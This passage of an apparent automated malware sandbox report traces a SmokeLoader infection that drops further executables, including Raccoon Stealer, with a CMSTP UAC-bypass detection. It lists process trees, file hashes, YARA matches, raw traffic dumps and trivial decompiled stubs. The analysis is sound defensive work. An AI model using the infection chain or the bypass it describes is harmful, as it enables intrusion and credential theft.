4f 4b 20 78 20 4f 4f 6f 20 78 Data Ascii: x tK x kx x kE x Ooo x OxE x kK x Oxo x kK x OOR x Yx x kE x OOQ x OOo x OxY x tk x OOE x kt x kt x OxK x kE x kO x Oxk x Kt x Kt x RR x tQ x OOk x OxK x Oxx x tO x kR x YE x Rt x kx x kt x OOo x Oxt x Yt x YE x OOK x QQ x kY x Rt x Qx x Oxk x OOK x OOo x
2021-10-29 18:11:00 UTC	2878	IN	Data Raw: 78 20 6b 59 20 78 20 4b 6b 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 6b 52 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 45 20 78 20 52 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 51 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 6b 4b 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 4f 6f 6f 20 78 20 52 51 20 78 20 4f 4f 51 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 4f 78 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4b 6b 20 78 20 74 4f 20 78 20 52 74 20 78 20 6b 45 20 78 20 4f 4f 45 20 78 20 74 Data Ascii: x kY x Kk x RQ x OxE x kR x tO x Oxk x OOR x Qx x kE x RR x kK x Oxx x tO x tx x OOR x QQ x tO x Oxk x OOt x Qx x OoO x RR x kK x Qt x kt x Oxx x OOt x Qx x kk x tE x OxE x tE x Ooo x RQ x OOQ x OxE x OxE x tE x OxY x tt x RY x Kk x tO x Rt x kE x OOE x t
2021-10-29 18:11:00 UTC	2883	IN	Data Raw: 78 20 74 6b 20 78 20 6b 52 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 74 74 20 78 20 52 52 20 78 20 52 59 20 78 20 4f 78 6f 20 78 20 59 52 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 51 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 74 4b 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 52 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 74 74 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 74 20 78 20 4f 4f 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 78 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 74 45 20 78 20 74 74 20 78 20 52 51 20 78 20 52 59 20 78 20 74 Data Ascii: x tk x kR x to x ko x tt x RR x RY x Oxo x YR x RQ x RY x OxR x RY x RY x tt x RR x kQ x tO x RY x KQ x kY x Oxx x tK x kO x RQ x RR x Kt x OOQ x kO x tt x tt x RY x OOO x tO x Rt x Rt x OOY x tO x RY x kO x kY x tx x RR x OOQ x tt x tE x tt x RQ x RY x t
2021-10-29 18:11:00 UTC	2899	IN	Data Raw: 20 6b 74 20 78 20 6b 78 20 78 20 4f 4f 78 20 78 20 51 51 20 78 20 52 51 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 78 78 20 78 20 59 4f 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 20 4f 4f 51 20 78 20 4f 4f 74 20 78 20 4f 78 52 20 78 20 6b 45 20 78 20 74 74 20 78 20 6b 51 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 78 20 78 20 52 74 20 78 20 6b 6f 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 4f 4f 51 20 78 20 6b 6b 20 78 20 4f 78 78 20 78 20 51 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4b 51 20 78 20 51 51 20 78 20 74 78 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 45 20 78 20 4f 4f 78 20 78 20 4f 6f 4f 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 74 6f 20 78 20 51 6b 20 78 20 Data Ascii: kt x kx x OOx x QQ x RQ x OOk x RY x kO x Yx x OOR x OxO x Oxx x YO x OoO x YE x OOQ x OOt x OxR x kE x tt x kQ x OOt x Qt x kx x Rt x ko x Oox x YO x OOQ x kk x Oxx x Qt x OxK x QQ x KQ x QQ x tx x Qt x tK x OOE x OOx x OoO x kK x Oxx x Oxk x to x Qk x
2021-10-29 18:11:00 UTC	2910	IN	Data Raw: 20 78 20 4f 6f 4f 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 4f 4f 4f 20 78 20 45 74 20 78 20 4f 4f 6f 20 78 20 45 74 20 78 20 4f 4f 78 20 78 20 4f 4f 4f 20 78 20 51 74 20 78 20 4f 78 4f 20 78 20 4f 4f 6b 20 78 20 4f 4f 6f 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 4f 4b 20 78 20 4f 4f 4b 20 78 20 51 51 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 45 6f 20 78 20 45 74 20 78 20 4f 4f 78 20 78 20 4f 4f 6f 20 78 20 4f 78 6f 20 78 20 4f 78 74 20 78 20 4f 4f 59 20 78 20 4f 78 78 20 78 20 45 74 20 78 20 4f 4f 51 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 51 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 4f 78 4f 20 78 20 4f 4f 6f 20 78 20 4f 78 4b 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 4f Data Ascii: x OoO x OxE x QQ x OOO x Et x OOo x Et x OOx x OOO x Qt x OxO x OOk x OOo x Oxt x OOQ x OOK x OOK x OOK x QQ x Oxo x Et x Eo x Et x OOx x OOo x Oxo x Oxt x OOY x Oxx x Et x OOQ x Et x Oxk x OxR x QQ x OOO x OOx x OxO x OOo x OxK x Et x OxY x Et x OOY x O
2021-10-29 18:11:00 UTC	2926	IN	Data Raw: 20 78 20 4f 78 20 78 20 45 74 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 51 6b 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 4f 4f 74 20 78 20 51 6b 20 78 20 51 6b 20 78 20 4f 4f 6b 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 4f 6f 4f 20 78 20 45 74 20 78 20 51 51 20 78 20 45 74 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 4f 6f 6f 20 78 20 4f 4f 6f 20 78 20 4f 4f 51 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 4f 78 52 20 78 20 4f 78 51 20 78 20 4f 4f 74 20 78 20 4f 4f 59 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 45 6f 20 78 20 45 74 20 78 20 4f 78 74 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 4f 4f Data Ascii: x Ox x Et x Qt x OxE x OOo x Oxx x Qk x Oxx x Ooo x OxY x OOQ x OOt x Qk x Qk x OOk x Et x OOY x Et x Oxx x Ooo x OoO x Et x QQ x Et x OOk x OxK x Ooo x OOo x OOQ x OxY x OOQ x OxR x OxQ x OOt x OOY x OxY x Et x Eo x Et x Oxt x OOO x OoO x OxR x OOo x OO
2021-10-29 18:11:00 UTC	2942	IN	Data Raw: 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 52 20 78 20 4f 4f 4b 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 4f 4f 4f 20 78 20 45 74 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 51 51 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 4f 78 45 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 4f 4f 6b 20 78 20 4f 78 51 20 78 20 4f 4f 51 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 6f 78 20 78 20 4f 4f 51 20 78 20 4f 78 4b 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 4f 74 20 78 20 51 6b 20 78 20 51 6b 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 4f 52 20 78 20 45 74 20 78 20 4f 4f 52 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 4f 78 52 20 78 20 Data Ascii: x OOk x OxK x Qk x OxR x OOK x OxR x OxO x Oxo x Et x OOO x Et x OOR x OxK x OxE x OOo x QQ x Oxk x OOE x OxE x Qk x OoO x OOk x OxQ x OOQ x Et x OOY x Et x Oox x OOQ x OxK x OxR x Oxk x OOt x OOt x Qk x Qk x OxY x Et x OOR x Et x OOR x OxE x QQ x OxR x
2021-10-29 18:11:00 UTC	2958	IN	Data Raw: 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 78 20 4f 78 59 20 6b 45 20 78 20 74 51 20 78 20 74 78 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 52 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 6f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 51 51 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 59 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 4f 4f 52 20 78 20 51 6f 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 45 6f 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 4f 78 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 20 4f 4f 4b 20 78 20 51 6f 20 78 20 52 51 20 78 20 4f 6f 78 20 78 20 51 51 20 78 20 4f 78 6b 20 Data Ascii: x Oxk x OxO x tR x kY x RY x x OxY kE x tQ x tx x kK x kt x RY x ko x RQ x Qo x tt x OxY x QQ x OOK x OOO x OOY x OOO x Oxo x OOR x Qo x kt x OxY x OOx x Oxx x OOO x OOQ x OOY x Eo x Rk x OxO x Oxo x OxO x OOx x Oxx x OxO x OOK x Qo x RQ x Oox x QQ x Oxk
2021-10-29 18:11:00 UTC	2974	IN	Data Raw: 20 78 20 45 6f 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 4f 4f 59 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 51 51 20 78 20 4f 78 4b 20 78 20 45 6f 20 78 20 51 6b 20 78 20 4f 78 4f 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 4f 78 4f 20 78 20 4f 78 4f 20 78 20 4f 4f 78 20 78 20 45 6f 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 45 6f 20 78 20 4f 4f 4f 20 78 20 51 6b 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 45 6f 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 45 6f 20 78 20 4f 78 59 20 78 20 4f 4f 59 20 78 20 45 6f Data Ascii: x Eo x OxQ x OxY x OOY x OxQ x Qt x OOR x QQ x OxK x Eo x Qk x OxO x OOR x OOQ x OxO x OxO x OOx x Eo x OOR x OxK x OxO x Eo x OOR x OoO x OOo x OxO x Eo x OOO x Oxo x Eo x OOO x Qk x OxR x OxO x QQ x OOR x Eo x OOR x OxK x Qt x OOR x Eo x OxY x OOY x Eo
2021-10-29 18:11:00 UTC	2990	IN	Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 Data Ascii: x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: cnv622JnZv.exe PID: 1940 Parent PID: 3240

General

Start time:	20:09:24
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\cnv622JnZv.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\cnv622JnZv.exe'
Imagebase:	0x400000
File size:	345088 bytes
MD5 hash:	5AE3B69C31FE729AC672BA483280F16D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cnv622JnZv.exe PID: 6000 Parent PID: 1940

General

Start time:	20:09:29
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\cnv622JnZv.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\cnv622JnZv.exe'
Imagebase:	0x400000
File size:	345088 bytes
MD5 hash:	5AE3B69C31FE729AC672BA483280F16D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.320318511.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.320173015.0000000000460000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3472 Parent PID: 6000

General

Start time:	20:09:36
Start date:	29/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000000.302632865.0000000004F61000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: jejhieg PID: 3940 Parent PID: 904

General

Start time:	20:10:12
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\jejhieg
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jejhieg
Imagebase:	0x400000
File size:	345088 bytes
MD5 hash:	5AE3B69C31FE729AC672BA483280F16D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: C5EA.exe PID: 4752 Parent PID: 3472

General

Start time:	20:10:13
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\C5EA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C5EA.exe
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: C5EA.exe PID: 1308 Parent PID: 4752

General

Start time:	20:10:20
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\C5EA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C5EA.exe
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.379053476.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.379166058.0000000001F61000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: jejhieg PID: 3152 Parent PID: 3940

General

Start time:	20:10:21
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\jejhieg
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jejhieg
Imagebase:	0x400000
File size:	345088 bytes
MD5 hash:	5AE3B69C31FE729AC672BA483280F16D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 66A4.exe PID: 3536 Parent PID: 3472

General

Start time:	20:10:34
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\66A4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\66A4.exe
Imagebase:	0xd70000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp, Author: Joe Security Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\66A4.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 77DC.exe PID: 4976 Parent PID: 3472

General

Start time:	20:10:39
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\77DC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\77DC.exe
Imagebase:	0xa50000
File size:	512952 bytes
MD5 hash:	42758E2569239A774BECDB12698B124C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\77DC.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 8615.exe PID: 3888 Parent PID: 3472

General

Start time:	20:10:42
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\8615.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8615.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000002.440048320.0000000002FD0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000002.440144777.0000000002FF1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000003.423422124.0000000002FC0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 4380 Parent PID: 3536

General

Start time:	20:10:46
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 977B.exe PID: 2892 Parent PID: 3472

General

Start time:	20:10:46
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\977B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\977B.exe
Imagebase:	0x8d0000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: A557.exe PID: 5684 Parent PID: 3472

General

Start time:	20:10:49
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\A557.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A557.exe
Imagebase:	0x2d0000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\A557.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 5676 Parent PID: 4380

General

Start time:	20:10:49
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /SpecialRun 4101d8 4380
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: B084.exe PID: 6024 Parent PID: 3472

General

Start time:	20:10:52
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\B084.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B084.exe
Imagebase:	0x7ff64e5e0000
File size:	347136 bytes
MD5 hash:	31BE6099D31BDBF1ED339EFFDC1C7064
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.465682057.00000000047F1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.464888081.0000000002B70000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 977B.exe PID: 6064 Parent PID: 2892

General

Start time:	20:10:55
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\977B.exe
Wow64 process (32bit):	true
Commandline:	977B.exe
Imagebase:	0x700000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 152F.exe PID: 1280 Parent PID: 3472

General

Start time:	20:10:57
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\152F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\152F.exe
Imagebase:	0x400000
File size:	600064 bytes
MD5 hash:	0EFD1C9D005446AEF5FEE4EB512F5887
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000023.00000003.460198021.00000000048F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000023.00000002.593634201.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: cnv622JnZv.exe PID: 1940 Parent PID: 3240 cnv622JnZv.exeCOMMON

Executed Functions

Function 02EBDE4A, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02EBDE92

Memory Dump Source

Source File: 00000000.00000002.258301791.0000000002EB9000.00000040.00000001.sdmp, Offset: 02EB9000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 74bbf79b1f71dea2eb0f11caa01bb41565b42ac4d46fe10d91713fba4b7ce519
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EFF0F6356407156FD7213BF4AC8CBEF76E8AF49728F105268F642D20C0DB70E8054A60

Uniqueness

Uniqueness Score: -1.00%

Function 00421C70, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041D02B,?,?,00421DE0), ref: 00421C77

Memory Dump Source

Source File: 00000000.00000002.257888995.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.257885240.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.257926047.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.258143677.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction ID: b40f90978daf3ef329ab61763e319925ae037b8b9623a4d20099a1721ada3600
Opcode Fuzzy Hash: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction Fuzzy Hash: 56A01132088208A3C2002282AA0AB823A8CC3C8B22F000020F20C0A8A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C870, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E004234B0(); // executed
				return L0041C890(_t3, _t4);
			}

0x0041c875
0x0041c880

APIs

___security_init_cookie.LIBCMTD ref: 0041C875

Memory Dump Source

Source File: 00000000.00000002.257888995.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.257885240.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.257926047.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.258143677.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction ID: c5cf1961630fdb19d1a9d8ec6c97ac564dc5bbc7d6b0568a74fd9ffd6265e2d1
Opcode Fuzzy Hash: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
